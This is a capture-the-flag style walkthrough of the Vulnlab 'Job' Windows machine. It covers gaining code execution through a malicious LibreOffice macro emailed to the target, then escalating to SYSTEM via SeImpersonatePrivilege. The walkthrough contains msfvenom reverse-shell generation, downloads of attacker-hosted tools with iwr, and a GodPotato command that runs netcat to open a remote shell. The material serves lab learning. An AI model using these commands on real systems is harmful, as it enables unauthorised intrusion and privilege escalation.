Job - Vulnlab
Job is a medium windows machine from Vulnlab created by xct. It involves getting Remote Code Execution (RCE) via Macros in LibreOffice Documents and exploiting SeImpersonatePrivilege
for Privilege Escalation.
Recon
NMAP
1 | Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-23 13:52 EDT |
The Nmap scan tells us there are four ports open, SMTP on port 25, HTTP on port 80, SMB on port 445, and RDP on port 3389. It also tells us there is the job.local
domain, so let’s add that to our hosts file.
Web
If we go to the website on port 80, we can see a note saying
1 | Please send your application to career@job.local! We recently switched to using open source products - please send your cv as a libre office document. |
Shell as jack.black
The note on the website is hinting towards crafting a malicious macro and use it to get RCE. To do this, I will follow this great writeup by 0xdf which has a section that explains how to make a malicious macro that will run a system command upon opening it https://0xdf.gitlab.io/2020/02/01/htb-re.html.
The payload I am going to use is the following
1 | REM ***** BASIC ***** |
Now after saving our file as <filename>.odt
, let’s start a python server and a netcat listener
1 | python3 -m http.server 80 |
1 | nc -nlvp 443 |
At this point all we have to do is send the malicious file to the email that was written on the website career@job.local
. I will use the sawks
command to send the file
1 | ➜ swaks --to career@job.local --header "CV" --body "meow" --attach meow.odt --server job.local |
Wait for a few seconds and we get a shell as the user jack.black
and we can read the user flag.
1 | ➜ nc -nlvp 443 |
PrivEsc
Shell as apppool\defaultapppool
If we go to the web root directory C:\inetpub\wwwroot
, we can see that we can write there, and since the web server is running as service account we can get a shell as that account and then use something like SeImpersonatePrivilege
to escalate privileges.
Let’s prepare our aspx
shell using msfvenom
1 | ➜ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.0.210 LPORT=443 -f aspx -o exploit.aspx |
Now we need to transfer it to the target machine and put it inside the wwwroot
folder
1 | PS C:\inetpub\wwwroot> iwr http://10.8.0.210/exploit.aspx -outfile exploit.aspx |
At this point, all we have to do is to trigger it by visiting the following url
1 | http://10.10.69.83/exploit.aspx |
We obtained a shell as the service user
1 | ➜ nc -nlvp 443 |
Shell as system
If we run whomai /all
, we can see that we have the SeImpersonatePrivilege
enabled
1 | SeImpersonatePrivilege Impersonate a client after authentication Enabled |
We can exploit this privilege using GP
tool, available at https://github.com/BeichenDream/GodPotato/releases.
First let’s grab gp.exe
and nc64.exe
from our box and start a netcat listener
1 | PS C:\temp> iwr http://10.8.0.210/nc64.exe -outfile nc64.exe |
1 | PS C:\temp> iwr http://10.8.0.210/gp.exe -outfile gp.exe |
Finally, let’s run this command
1 | PS C:\temp> .\gp.exe -cmd "C:\temp\nc64.exe -e cmd.exe 10.8.0.210 443" |
And we have a shell as system and we can get the root flag.
1 | ➜ nc -nlvp 443 |
That concludes the box. I hope you learned something new :D